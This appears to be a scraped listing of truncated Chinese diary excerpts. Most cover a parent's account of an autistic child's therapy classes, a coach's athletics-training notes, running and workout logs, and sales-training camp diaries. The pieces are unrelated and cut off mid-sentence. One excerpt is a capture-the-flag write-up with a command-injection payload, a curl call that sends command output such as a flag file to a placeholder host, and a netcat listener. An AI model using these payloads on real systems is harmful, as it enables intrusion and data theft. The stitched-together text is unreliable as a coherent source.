今天一大早下起了暴雨，还一度变为橙色暴雨预警，我还怕去不成上学了，幸好在出门前雨小了，批了两层雨衣的我们，出门了。第一节课补课，我就去买了早餐，其实我们迟到了几分钟，我们找了感统老师补感统课，我原本打算课间给她吃早餐，老师没有给她回来，连续上了两节感统课，也许饿坏了吧，她一回来就找吃的喝的。去买早餐的时候我经过感统课室，看了下她在干嘛，她坐在倒着的椎体筒上，老师给她附近丢串珠积木，她就要捡起来串珠

文章目录签到题给她web_假赛生萌新记忆签到题这个题，比较简单，直接使用分号，执行多个命令来绕过payload:1;ls;1可以再次回顾一下，||，&&，&，|，；的作用Linux的特殊符号想法2：其实这个题，看到curl，我想到了用反弹shell?url=xxxx:10000?p=$(ls);1?url=xxxx:10000?p=$(catflag);1nc-lvvp10000但是监听端口后，出

今天早上我是6:15到，只有不到十个人在这里做滚轴，我不知道他们是怎么想的高三了纪律这种东西不用我说，要养成合理的生活习惯。准时6点前要到这里开始热身，不影响训练前活动充分，才能每次训练不拉伤，有的人说起不来，能起来的都上大学了，起不来的都是大专的。如果在后面还再走过来，那些同学我也不说你什么。高三了，我不抓记录。你爱来就来，不来就不来，你也要聪明一些，在旁边组间休息的时期做热身，就是弓步拉伸。就

今早是练习的斜坡跑训练问题1：9人未参加训练，1人停训，8人因故没有参加。解决方法：未参加训练的人员，与周二训练计划对调，自行在学校门口进行斜坡跑训练。问题2：训练总时间超出5-6分钟，这和我晚到开门有一定关系。问题3：训练细节问题：（1）跑步总距离不足，但学生展示出的体能有限，无法保持全部技术动作。（2）技术动作定型不属于耐力跑部分，但是对于摆臂技术还是要加强指导。（3）在纯速度跑练习上，距离一

-01慢跑-距离：17.13km时间：02:07:36非标准MAF180，心率保持在150以下。刚开始是按照144心率跑的，后来感觉跑到150左右很舒适，144感觉有点太压抑，就保持150跑了很长一段，前面6km左右都感觉很舒服，到后面还是感觉有点累。冷身过程没做，最后2km主要是走下来的。今天换了一个新线路，一圈刚好5km多一点点，整圈只有一个小路口。今天膝盖有点疼，比之前都要疼一些，还是跑完了

因为现在九月份，有位哥哥去了特殊学校了，所以语言课老师就有空给我们补课，只是需要我们第一节课准时到，所以我今天非常早就起来了，带她上了厕所，准备好了，让她咬着一个包子就出发了。一路上她很兴奋，两只小脚不停伸出来，感受风，我怕很危险不准她这样做，然后她就把脚伸到了前面，像个大爷一样。今天脱鞋子就比较好了，平时还要我手把手教的，而且眼睛经常不看，今天呢，我就没有去手把手帮助，就指了下脚跟那里，因为她经

也许是因为过年放假时间我们出去旅游，都是每天很早起床赶车，赶船，所以开学了都是每天很早起床，生物钟也是一样的，她就没有哭闹，没有了起床气，每天下楼梯，进门口都是很开心，很主动的。上课的时候如果不看着她，就会容易跑来跑去，坐不住，一定要去拉回来，马住她，才可以坐得住，根据这半年的观察和训练，我内心已经做好了准备，我知道她目前的严重性，我知道再过一两年，她再长大一点还是表现出来没有成长过，他们家里人一

今天起来晚了，而且天气转凉，气温降了几度，我要帮孩子们找到秋装放到书包里，整理好一切，就比较晚了，还好有前一天的面包，让她路上吃，节省时间。而且在昨晚的时候，机构那边通知我感统老师请假，由其他老师代课，我选了一个男老师，看看思辰怎样的表现，出门前在家里上了厕所，但是没想到的是，她因为换老师哭闹，最后还尿尿了。她以为第一节课还是小组课，上楼的时候就错跟着老师上楼，拖鞋也没来得及穿，我拿着拖鞋喊她，穿

这一进门就哭的习惯改不了啊，今天倒是出现了一些不同，因为小胖哥哥的妈妈感冒了，很不舒服，所以跟我们商量把最后两节课掉课，所以思思就不能上最后一节艺术课，她开始察觉到不同，哭得不成人样，小组课基本就是拖着，哭着，躺在地上过去了，其他课还好，哭着哭着就不哭了。我一直以为，自闭症孩子在小时候有的会出现癫痫，但是老师的一句话，让我担心起来，她说有的孩子到了七八岁才会出现癫痫也说不定，有的小时候明明好好的，

今天我到了那边等思思在上小组课我才去买早餐，因为上课她专心就不会哭，如果我课间离开，她会哭着要跟来，上个厕所都要跟着的。她很依赖我，但是今天因为我打了她小手，她生气了，很大声地骂我，就是不知道在说什么，听声音就是骂我那样，很凶很大声。我听说我离开的时候，她上去搭积木了，不知道老师有没有帮忙，后来老师又请她上去一次，我指导她搭好了积木，她很开心。后来小组课老师一旦要求爬行，她就不开心，不想做，然后逼

今天语言课她挺乖的，也是自己跟去，老师说让她捡东西她有点不愿意，恩她就是比较懒。小组课的时候也会表现出来比较懒，今天小组课挺有趣的，老师拿了很多鸡蛋过来，就是假的鸡蛋，鸡蛋可以分开两瓣，里面是一些形状，可以进行配对的，形状不对，颜色不对，鸡蛋是合不起来的。然后让小朋友们听数数，数到那个数字，扔出去，鸡蛋会分开两瓣，再让孩子自己去挑，捡起来。思思超级喜欢了，扔得都疯了一样。然后当鸡蛋分开了两边，都乱

一直存在一个问题，就是热身，瑜伽轴时间不足，有的同学拖拖拉拉，在下课后半天还不开始，无法保证十分钟的瑜伽都练习，然后直接进行拉伸练习的时候又是动作少，多导致的拉伤，影响训练。瑜伽轴按摩的地点也应该尽量靠近楼梯间门口，而不是拉到大堂，这里瑜伽垫的使用现在几乎为零，这也是一个问题，如果真的要节省时间的话，两分钟都可以做多两个练习所以对这种拖拉训练练习的现象必须及时止损。同时对于带坏节奏的同学，偷懒的同

昨天就发现她用手拜拜的时候，是使劲的挥手那种，以前就只是伸出手，手指在动，或者直接举起手！这周小组课学的是用水瓶做出声音，就是把红豆放到空的瓶子里，然后摇晃得出声音，由于老师没有提前叫我们准备瓶子，这节课只有老师有瓶子，给大家轮流传着听，不知道是不是突然听到这些吵的声音，思思表现的不喜欢，她也不肯拿。语言课老师说她今天挺好的，其实放了三天假期，小组课就闹别扭，而且平时我还在停车，她已经进去了，今天

首先如果ab组合练的话，可能解决力量训练上下午分开训练的疲劳冲击，能达到更好的效果，但是训练场地的冲突，以及指导时间分配不均匀的冲突，会导致更多的成绩下降，这个也影响有些训练的效果，毕竟一定要让学生达到平均实力的时候才能够执行。关于学生训练过程中技术部分的练习和探讨。之前在反复强调，一定要在练习过程中互相找一个队友看一下技术，看一下技术环节以及成绩。特别是顽固性的技术环节。有些同学已经陷入思维定式

今早看到一个视频：里面讲的是一个残疾人训练的日常，其中关于抬腿和送髋的练习，非常值得学习。抬腿教学1俯卧后抬直腿2仰卧高抬腿3曲腿侧跨高栏架，（视频中因为是患侧腿，无法弯曲）4曲腿正对直腿跨高栏架，（视频中因为是患侧腿，无法弯曲）5台阶踏上后上摆腿（目前已安排屈膝拉绳）6拉伸摆臂，综合性弓步拉伸，已经在训练计划中7罗马椅杠铃片体转已经用死亡卧推架替代8后拉杆弓步高抬送髋9行进间单腿连续弓步跳绳所有

今天在练习铅球时候呢，有很多学生问来问去有什么问题？之前总是告诉他有什么问题，但是这么多次了，知道问题又不知道怎么去改。知道问题但是不会改，有什么用啊？相同问题老是一而在再而三的犯。这不是技术错不错的问题，这是能力问题。个人能力就这样了，你没有能力去纠正这个错误，所以只能靠自己苦练如积累心得。说是理论指导实际。但是通过这么多年了经验，往往都是智商高的人学东西快，他们善于总结经验，善于发现错误，善于

今天是我们芳老大亲自讲课，每一次听她讲课感觉都是一种享受！并且收获颇多、每一次都是直切主题，让我不禁恍然大悟！从现在开始我将要打造出一个属于自己的个性朋友圈，让微信里所有的微友感受到我最真实最自然的我，从而跟大家达成一个良好的互动关系！今天的收获就是成交了一单初中同学，虽然看似是平常的一单，但是她承载了同学十多年未见依然对我的情意与信任，这是我最为开心的事情！图片发自App

付爱宝特种兵训练日记第九天欣赏自己：感悟.不用忘记你的那些微信好友.共鸣：如果你能力不及安迪家境不及曲筱绡刻苦不及关雎尔美貌不及樊胜美运气不及邱莹莹那么你凭什么不努力～班级姓名：无敌一班班级口号：无敌无敌所向披靡姓名

-01MAF180慢跑-距离：7km时间：00:46:22平均配速：06'36"最快配速：06'27"最慢配速：06'46"平均心率：145bpm最大心率：152bpm首次尝试使用姿势跑法（前脚掌跑法），并没有网上说的那样特别不适应或者小腿疼的厉害。没带髌骨带和护膝，第5km左右开始感觉右侧膝盖两侧略有疼痛，一直跑到7公里结束左右侧膝盖两侧均略有疼痛，髌骨前侧没有出现明显疼痛感，整体感觉症状比之前

-01囚徒健身-俯卧撑（一）-墙壁俯卧撑：2x10（热身组）俯卧撑（二）-上斜俯卧撑：1x40、1x30、1x14（训练组）举腿（一）-坐姿屈膝：2x10（热身组）举腿（二）-平卧抬膝：1x42、1x40、1x40（训练组）上斜俯卧撑，第1组比较标准，第2组最后几个动作开始有点变形，第3组10个以后也做不到标准212了。平卧抬膝，最后一组腿比较抖，前2组还可以，第1组还多做了2个。

10.9训练日记1身体素质的下降，原因在于训练的不系统，休息的质量不好，完全是超额的支出。解决方法，更改计划保证睡眠，确保训练时间。加强营养和恢复补剂。

-01囚徒健身-俯卧撑（二）-上斜俯卧撑：2x8（热身组）、3x30（训练组）举腿（一）-坐姿屈膝：2x10（热身组）、3x40（训练组）俯卧撑比较正常。举腿终于感觉感觉有点进步了，没有之前那么费劲了。

今天我们也是认识小动物，奶牛，斑马，鲸鱼，熊猫。第一次实物和图像配对，其实每次我都会觉得对她来说会不会太难，想想她的年龄，恩，下定决心，她必须学会！当然了，时间蛮长，第一次，第二次都是不成功，她的关注点不在动物上。听了几次这个动物的歌，我试着自己唱这个歌，当我说到大奶牛，大熊猫的时候，她会眼神看过去大奶牛，大熊猫，那时候我就有点懂了，她记住了，只要再给一些适当强化，也许就行了。最后一节课是手工课，

以下管理心得按时间排序2018.1.1原计划第二阶段进入分小组的训练，由于场地问题，其他老师的强烈反对，将等到早训时间进行，届时将以早训为重点，并限制早训人数，将所有的力量跑，跳都安排到早上进行。下午将安排养老组，和实心球。乒乓球等恢复性训练。对于个别队员的问题两个新队员计划已经初步熟悉，但由于能力的差异，还是需要很长时间了解技术的精髓。以后我要关注并介入指导，2018.3.17为保证力量训练的完

昨天由于红色暴雨，全市都集体停课了。今天去一大早又是下暴雨，都害怕今天去不了了，但是我依然收拾好自己和她的东西，随时准备好，然后到了七点半，真的停雨了，我拉着她穿好了雨具，因为怕途中下雨，就马上跑了。迎着风，思思很兴奋，开着的时候，她很喜欢用手去感受风，有时候我们开风扇或者我用手吹气，她也很喜欢用手去感受。有时候她会抬头看看我，最近啊，经常叫着妈妈，妈妈，虽然发音不清晰的。昨天听奶奶说，两姐妹一下

付爱宝21天特种兵训练日记皮红丽总结日期6.13*星期一，心情：好欣赏自己：付爱宝21天特种兵，在以后的日子里带领我的团队小伙伴一起成长，一起赚钱！

2017年11月24日星期五晴忙、慌特训的第五天，今天学习了：高效建立信赖感的五大开场白。其实人和人接触交流，第一次留下美好而深刻印象还是挺重要的。以前是必须面对面才能交流，随着科技的发展现在线上就可以交流，做成生意，社会发展的真快！今天事情比较多，心里总是慌慌的，乱乱的，一直跟自己说：别慌，一件一件做，终归会做完的。总是效率不能提高，要加油哦！感觉朋友圈发多了，还是有效果的，有朋友咨询了，我很开

今天我很早就起来煮早餐，最近有点拮据，早餐尽可能的省钱。思思我就给她买了一小块的蛋糕，她整个都吃完了，我们感统课老师又请假了，换了另外一位老师上课，就需要第一节课到，所以要很早出发和吃早餐，当老师来的时候，思思不适应，死活不肯走，哭闹，老师直接把她抱走了，这次是一位女老师，下课后，老师跟我说，其实思思很多事情都会，在感统课室里面很多项目她都可以做，只是她很懒，会闹下别扭看你是不是会妥协，只要你坚持

训练内容：20分钟变速跑身体状态：2脉搏：不做体重：73.8天气温度：23℃中雨其他（反省点，注意点）：跑路上有淡淡桂花香，由于装备预先备齐，有雨也没事。图片发自App图片发自App

-01囚徒健身-引体（一）-垂直引体：2x20（热身组）引体（二）-水平引体：1x18、1x12、1x12（训练组）深蹲（二）-折刀深蹲：2x10（热身组）深蹲（三）-支撑深蹲：3x30（训练组）水平引体，比之前能多做几个了，看起来应该是进步了吧？我也不确定。深蹲只到了升级标准，没多做，最近虽然减少了跑量，膝盖还是不舒服，这次做深蹲的时候膝盖也有点不舒服的感觉，肌肉仍然没有太多感觉。这次锻炼的时候

训练内容：15分钟变速跑身体状态：2较好脉搏：不做体重：72.7天气温度：晴27℃其他（反省点，注意点）：第一个一分钟感觉飞快，没跑几步就到了。可以考虑买个耳机，运动的防水的，算是小奖励。不过在跑步中思考也不错。左小腿肌肉还是硬，呼吸不那么胸涨了，还是以快走和小跑结合。赞一个自己图片发自App

今天上午在家写了一篇训练日记，背了一会儿英语单词，然后就一直在看手机，嘿嘿。我是不是很悠闲？你们是不是很羡慕我，嘻嘻。

-01跑走（跑3走1跑1走1）-总用时，1:00（大约）距离：6.30km时间：00:43:40平均配速：06'55"最慢配速:9'33"最快配速：05'12"平均心率：150bpm最小心率：91bpm最大心率：187bpm平均步频：155膝盖，这几天走路感觉好点了，但是今天一跑还是不行，刚开始跑就很不舒服，而且右腿也不舒服，跑一会之后好了点，后面又不舒服，目前拉伸完感觉好点了。悦跑圈数据

今天开始更加少学生了，大部分都回去老家，姐姐这几天也跟着我上小组课，不然小组课没什么人。慧慧可能有点陌生，想跟着上课，但是比较害羞，有时候会自己坐一边去，感觉不太合群那样。今天穿珠子，她还是不愿意穿，就是喜欢拿着珠子玩，或者装盘子里，叫她收拾的时候，才听话收好。现在当我做什么事情需要离开一下的时候，我都会跟她说，我现在要去做什么，你需要等一等我，当然了，她不会等的，会跑过来跟着我。例如我去上厕所，

-01囚徒健身-引体（一）-垂直引体：2x20（热身组）引体（二）-水平引体：1x24、1x10、1x5（训练组）深蹲（二）-折刀深蹲：2x10（热身组）深蹲（三）-支撑深蹲：3x30（训练组）水平引体，第1组20个以后开始不够标准了，但是比上次要轻松。第2组比上次少做了几个，但是要更标准一些，第3组也少了几个，还是很费力的。支撑深蹲，膝盖还有一些不舒适的感觉，没有疼痛感。昨天睡的晚，今天起的晚（

图片发自App从报名到特训营的前一天我一直很纠结是否要参加本次特种兵训练纠结的原因有:我是一个有严重拖延症的人我害怕自己坚持不了21天我害怕自己没有时间去完成教练布置的作业而拖累团队我害怕此次培训又是打鸡血没有实战庆幸的是到最后我还是选择参加在此非常感谢我的领路人、教练团和战友为期两天的培训让我收获很多之前是知其然而不知其所以然为期两天的时间我发现我的拖延症有所改变也明白了当下事当下毕的重要性在接

今天，开始继续懒惰，语言课还哭了，那时候是因为她上感统课的时候我们在开家长会议，她下课了我们还没出来，当时她还在办公室玩，挺开心，后来我出来了，才看到我一分钟，又上课了，老师强行带走她，这让她不高兴了，就哭了一节课表示表示！最后一节课的时候，平时聊得来的老师突然问我，有没有打算从事这个行业，我说还真有想过，但是不是现在，至少等我教好自己孩子！老师就问我，你是怎么想的，对孩子最好的希望是怎样，我说生

训练内容：12分钟匀速跑身体状态：3疲劳脉搏：不做体重：72.2kg天气温度：28其他（反省点，注意点）：图片发自App运动后热身按摩结束，步行5分钟就到家了，马上到橱里拿衣服，但房间开空调有点冷。然后称体重。换衣服用早上洗过脸毛巾擦身，略凉。今后要准备好衣服和热水，湿透的衣服和空调受不了。接下来有点发麻，运动量要减少。6:22到家6:25换洗结束，汗还是大量出来，休息到35左右，麻消退了，可以准

-01MAF180慢跑（2-3/12）-距离：6.49km时间：00:49:3012周标准MAF180慢跑，第2周第3次。最近膝盖疼痛比之前严重了，决定从今天开始减量，2019km的目标暂时挂起吧。接下来一段时间的计划：每周2、4、6跑3次，每次还是继续标准MAF180，但是距离减少1圈，每次加上热身和冷身一共6.5km，时间45分钟左右。如果降到这个跑量后，膝盖完全没有不适，再一点一点增加跑量。

今天天气非常冷，还下小雨，出门真的非常需要勇气！由于天气太冷了，就选择坐公交车到目的地附近再打车过去，这样是比较省钱又比较快的方法！我们都穿得很厚，抱起来不好抱，但是在马路边等车，我不敢放开她，等了许久，公交车来了，上车也是很艰难，抱着她，背着两个包包，还要腾出手来拿公交卡！好不容易找到了位置坐，坐着也是很不舒服，毕竟穿太厚了，动作很笨拙！后来因为转车时候等车有点塞车，还是迟到了几分钟，上课情况还

最近这个月总算是紧起来了，空余时间基本都在训练，争取在省赛拿一个银牌。但根据现在的能力水平来看，和老师说的一样，拿银确实还是要看运气的。因此，还是要加强训练的。下面说一下最近和后面的训练状况。这个月的训练以dp为主，因为之前dp专题放了很久了，重新拿起来还是要费点力气的。我刷了一些洛谷的题，发现：dp我只能从普及/提高-开始刷了（菜）。一开始我以为是我dp的东西都忘得差不多了，但刷了一些题之后发现

由于天气原因，画好的场地可能被雨水冲刷，周一周二需要重新画，当然这周也可以多加点灰，小雨也是有痕迹的。另外三级跳和百米的场地也需要油漆。早训铅球发现的问题：1非支撑腿的脚尖旋转，可以有效的保持重心在发力侧，同时还能加大整体动作幅度。2大力手肘发力时的内收，降低，有助于胸大肌的发力，避免高台肩部，和肱三头肌发力3要养成习惯从两侧标志线后出场，以保证成绩有效。4继续强调动作整体协调一致性，蹬直腿上挺胸

-01MAF180慢跑（4-1/12）-距离：6.50km时间：00:49:4712周标准MAF180慢跑，第4周第1次。膝盖疼多休息了几天，今天一开跑还是疼。多休息了几天，跑量减少后，感觉有氧配速也有下滑。悦跑圈数据

-01MAF180慢跑（1-2/12）-距离：11.59km时间：01:23:2212周标准MAF180慢跑，第1周第2次。从今天开始晨跑了，今天气温在8℃左右，比较舒适。今天的配速比上次略低，刚开始热身和前2km多还是比较正常的，到第3km开始感觉比较累，配速基本在6'30-6'50左右，膝盖的疲劳感比之前也要明显一些，后面几km感觉有点抬不起来腿。这个主要的原因应该是最近两天开始晚上不吃晚饭导

昨晚姐姐咳嗽整晚睡不了，早上根本起不来，时间关系，我也是带了思思去买早餐，去了面包店，她饿了，马上就要吃，想用手去拿，我说不行，然后领着她去拿盘子和夹子，想让她知道买面包的细节，然后带着她去夹面包，她有点等不及，孩子们一般很难等待，我不理她，她就耍脾气，躺了下来，我说，要给钱才可以拿来吃，我给了她十块钱，她拿着并没有丢，她交给了收款的小姐姐，然后就去拿面包，我马上就表扬她，并拿了一块面包给她。今天

-01ConvictConditioning-15:57TotalTime：33分钟俯卧撑（一）-墙壁俯卧撑：2x10（热身组）俯卧撑（二）-上斜俯卧撑：3x40（训练组）举腿（二）-平卧抬膝：2x10（热身组）举腿（三）-平卧屈举腿：3x30（训练组）上斜俯卧撑，第3组比较费力，整体感觉还行。平卧屈举腿，第3组有点费力，整体感觉还行。-02Jogging–TotalTime1:10Distanc

-01囚徒健身-9:02用时：35分钟俯卧撑（一）-墙壁俯卧撑：2x10（热身组）俯卧撑（二）-上斜俯卧撑：3x40（训练组）举腿（二）-平卧抬膝：2x10（热身组）举腿（三）-平卧屈举腿：3x30（训练组）上斜俯卧撑，每组都非常费力，前2组还算标准，第3组不够标准。平卧屈举腿，每组都很费力，整体还算标准，总体比上次好，第3组也还算标准，大腿比上次好多了，腹肌锻炼的感觉比上次好很多。

训练内容：4.8公里匀速跑身体状态：2脉搏：不做体重：73kg天气温度：多云25℃其他（反省点，注意点）：中间拉肚子，走着完成训练，没达到效果。图片发自App图片发自App

-01MAF180慢跑（3-1/12）-距离：6.46km时间：00:48:1112周标准MAF180慢跑，第3周第1次。今天跑到4km多的时候左膝盖外侧有点吱吱的疼，过了一会也就没太多感觉了。之前的疲劳感仍然存在，因为跑的距离短，感觉并不明显。出发的时候心率低到了80以下，想要把心率提高到90也需要稍微跑几步才行了，这也导致第2km热身的阶段，配速就已经达到了6'07"。冷身最后心率也下降到了9

-01MAF180慢跑（5-1/12）-距离：6.46km时间：00:47:3212周标准MAF180慢跑，第5周第1次。最近减量后，膝盖有所恢复。今天出发时膝盖没有疼痛，到接近2km的时候才开始有点感觉。配速和上次基本差不多。目前并没有因为减量导致配速下降。悦跑圈数据